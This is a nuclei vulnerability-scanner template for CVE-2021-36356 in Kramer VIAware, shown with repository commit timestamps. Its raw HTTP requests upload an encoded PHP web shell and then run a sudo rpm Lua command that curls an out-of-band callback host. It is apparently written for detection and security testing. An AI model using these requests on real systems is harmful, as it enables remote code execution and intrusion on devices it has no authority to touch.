nuclei-templates/http/cves/2021/CVE-2021-36356.yaml

55 lines
2.1 KiB
YAML
Raw Normal View History

id: CVE-2021-36356
info:
name: Kramer VIAware - Remote Code Execution
author: gy741
severity: critical
description: KRAMER VIAware through August 2021 allows remote attackers to execute arbitrary code because ajaxPages/writeBrowseFilePathAjax.php accepts arbitrary executable pathnames.
2023-09-06 12:09:01 +00:00
remediation: |
Apply the latest firmware update provided by Kramer to fix the vulnerability and ensure proper input validation in the web interface.
reference:
- https://www.exploit-db.com/exploits/50856
- https://nvd.nist.gov/vuln/detail/CVE-2021-36356
- https://nvd.nist.gov/vuln/detail/CVE-2021-35064
- https://write-up.github.io/kramerav/
- https://github.com/ARPSyndicate/cvemon
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2021-36356
cwe-id: CWE-434
epss-score: 0.90558
epss-percentile: 0.98752
2023-09-06 12:09:01 +00:00
cpe: cpe:2.3:a:kramerav:viaware:*:*:*:*:*:*:*:*
metadata:
max-request: 2
2023-07-11 19:49:27 +00:00
vendor: kramerav
product: viaware
2024-01-14 09:21:50 +00:00
tags: cve2021,cve,viaware,kramer,edb,rce,intrusive,kramerav
2023-03-29 11:07:38 +00:00
variables:
2023-07-11 19:49:27 +00:00
useragent: "{{rand_base(6)}}"
2023-03-29 11:07:38 +00:00
http:
- raw:
- |
POST /ajaxPages/writeBrowseFilePathAjax.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
radioBtnVal=%3C%3Fphp%0A++++++++if%28isset%28%24_GET%5B%27cmd%27%5D%29%29%0A++++++++%7B%0A++++++++++++system%28%24_GET%5B%27cmd%27%5D%29%3B%0A++++++++%7D%3F%3E&associateFileName=%2Fvar%2Fwww%2Fhtml%2F{{randstr}}.php
- |
2023-03-29 13:54:19 +00:00
GET /{{randstr}}.php?cmd=sudo+rpm+--eval+'%25{lua%3aos.execute("curl+http%3a//{{interactsh-url}}+-H+'User-Agent%3a+{{useragent}}'")}' HTTP/1.1
Host: {{Hostname}}
2023-03-29 10:10:35 +00:00
matchers-condition: and
matchers:
- type: word
2023-07-11 19:49:27 +00:00
part: interactsh_protocol # Confirms the HTTP Interaction
words:
2023-07-11 19:49:27 +00:00
- http
2023-03-29 10:10:35 +00:00
- type: word
part: interactsh_request
words:
2023-03-29 13:54:19 +00:00
- "User-Agent: {{useragent}}"
# digest: 490a0046304402207d315039be7b2374857658abe5c9080339493506959d103b741bd2b02930cb020220187d49b26985f25c39c9ba0317f1b0bf0540895f0ee8e3b35b33f10f2b8e4c86:922c64590222798bb761d5b6d8e72950